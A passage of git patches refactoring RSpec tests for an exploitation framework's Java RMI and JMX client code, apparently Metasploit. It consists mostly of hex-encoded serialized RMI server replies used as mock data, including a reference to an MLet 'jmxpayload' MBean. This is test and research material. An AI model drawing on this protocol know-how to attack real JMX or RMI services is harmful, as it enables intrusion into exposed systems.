"\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + - "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + - "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + - "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + - "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + - "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + - "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + - "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + - "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + - "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + - "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + - "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + - "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + - "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + - "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + - "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + - "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + - "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + - "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + - "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + - "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + - "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + - "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + - "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + - "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + - "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + - "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + - "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + - "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + - "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + - "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + - "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + - "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + - "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + - "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + - "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + - "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + - "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + - "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + - "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + - "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + - "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + - "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + - "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + - "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + - "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + - "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + - "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + - "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + - "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + - "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + - "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + - "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + - "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + - "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" - ) - seek(0) - end - - io.define_singleton_method(:get_once) { |length=0, timeout=nil| - read - } - - io.define_singleton_method(:has_read_data?) { |timeout=nil| - false - } - end - it "raises an Rex::Proto::Rmi::Exception" do - expect { mod.send_registry_lookup(sock: io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + + "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + + "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + + "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + + "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + + "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + + "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + + "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + + "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + + "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + + "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + + "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + + "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + + "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + + "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + + "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + + "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + + "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + + "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + + "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + + "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + + "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + + "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + + "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + + "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + + "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + + "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + + "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + + "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + + "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + + "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + + "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + + "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + + "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + + "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + + "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + + "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + + "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + + "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + + "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + + "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + + "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + + "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + + "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + + "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + + "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + + "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + + "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + + "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + + "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + + "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + + "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + + "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + + "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + + "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + + "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + + "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + + "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + + "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + + "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + + "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + + "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + + "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + + "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + + "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + + "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + + "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + + "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + + "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + + "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + ) + expect { mod.send_registry_lookup(sock: msf_io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) end end context "when there is an interface bound" do - before(:each) do - io.define_singleton_method(:put) do |data| - seek(0) - write( - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + - "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + - "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + - "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + - "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + - "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + - "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + - "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + - "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + - "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + - "\x84\x49\x80\x01\x01\x78" - ) - seek(0) - end - - io.define_singleton_method(:get_once) { |length=0, timeout=nil| - read - } - - io.define_singleton_method(:has_read_data?) { |timeout=nil| - false - } - end - it "returns the reference information" do - expect(mod.send_registry_lookup(sock: io, name: name)[:object]).to eq(interface_class) + msf_io.set_msf_data( + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + + "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + + "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + + "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + + "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + + "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + + "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + + "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + + "\x84\x49\x80\x01\x01\x78" + ) + expect(mod.send_registry_lookup(sock: msf_io, name: name)[:object]).to eq(interface_class) end end end From 2beb42a7349581a831b046cab876334fe9356025 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 14:28:24 -0600 Subject: [PATCH 061/103] Use msf_data attribute --- .../remote/java/rmi/client/jmx/connection_spec.rb | 9 +++------ .../remote/java/rmi/client/jmx/server_spec.rb | 3 +-- .../exploit/remote/java/rmi/client/registry_spec.rb | 12 ++++-------- spec/support/shared/contexts/msf/string_io.rb | 4 ---- 4 files changed, 8 insertions(+), 20 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 203ef93d90..51d3eb79c2 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -31,7 +31,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do let(:name_get) { 'DefaultDomain:type=MLet' } it "returns true" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + @@ -48,7 +48,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + "\x65\x3d\x4d\x4c\x65\x74\x78" - ) expect(mod.send_jmx_get_object_instance(sock: msf_io, name: name_get)).to be_truthy end end @@ -59,7 +58,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do include_context "Msf::StringIO" it "returns true" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + @@ -76,7 +75,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + "\x65\x3d\x4d\x4c\x65\x74\x78" - ) expect(mod.send_jmx_create_mbean(sock: msf_io, name: name_create)).to be_truthy end end @@ -99,7 +97,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do end it "returns true" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + @@ -119,7 +117,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" - ) expect(mod.send_jmx_invoke(invoke_args.merge(sock: msf_io))).to be_truthy end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 92870220ac..9d3c8baec4 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -29,7 +29,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do } it "returns the reference information" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + @@ -45,7 +45,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - ) expect(instance.send_new_client(sock: msf_io)[:address]).to eq(remote_address) end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index af2c84b9ad..7ea2f0c16f 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -27,25 +27,23 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do context "when there aren't names registered" do it "returns empty array" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" - ) expect(mod.send_registry_list(sock: msf_io)).to eq([]) end end context "when there are names registered" do it "returns the list of registered names" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" - ) expect(mod.send_registry_list(sock: msf_io)).to eq([name]) end end @@ -55,7 +53,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_lookup" do context "when there isn't an interface bound" do it "raises an Rex::Proto::Rmi::Exception" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + @@ -146,14 +144,13 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + 